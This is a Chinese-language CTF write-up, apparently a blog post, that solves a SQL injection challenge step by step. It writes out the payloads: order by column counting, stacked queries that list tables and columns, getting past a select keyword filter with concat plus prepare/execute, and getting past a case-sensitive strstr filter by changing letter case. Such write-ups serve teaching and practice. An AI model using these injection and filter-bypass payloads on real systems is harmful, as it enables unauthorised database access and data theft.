首先先判断注入类型。可以通过输入一些字符串,在判断是否存在注入的同时判断注入类型。
1 | ?inject=1-0 |
测试发现在输入1'
和1 \
时会出现报错信息。
发现该位置是一个字符型的注入。因此构造注入语句判断该注入有几个注入位置。
1 | ?inject=1' order by x %23 |
这里的%23是#的url编码,因为#在url中代表这锚点,有自己的意义,一次要编码。也可使用
--+
、--%20
等。
当x为3时报错,因此之后两列。
1 | ?inject=1' union select 1,2 |
执行后发现,正则会过滤select等关键字符串。
在尝试内嵌注释语句打算绕过过滤后,发现无用,尝试堆叠注入。
1 | ?inject=1';show tables %23 |
执行后,得到表名。
分别查看两个表中的内容。
1 | ?inject=1';show columns from words; %23 |
表名是数字或者是其他特殊点的字符组成的要用``来包住,表名中间的是表名、数据库名、字段名。


可以看到在1919810931114514
中有flag字段。现在就需要拿到flag字段中的值。select
关键字被过滤。我们可以通过预编译来绕过。
1 | ?inject=1';set @sql = concat('sel','ect flag from `1919810931114514`');prepare stmt from @sql;execute stmt; %23 |

发现通过strstr
过滤了set和prepare,但是这个函数区分大小写,所以通过大小写绕过。
1 | ?inject=1';sEt @sql = concat('sel','ect flag from `1919810931114514`');prepAre stmt from @sql;execute stmt; %23 |
得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}。
总结
通过这道题目,首先知道了#
为什么在注入的时候达不到预期的情况,然后知道了堆叠注入的姿势,在常规的注入不成功的时候,可以考虑一下这种注入方式。最后也掌握了通过预编译的方式,通过concat函数绕过关键字符串的限制,同时,也了解strstr
函数时区分大小写的。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0pt1mus!
评论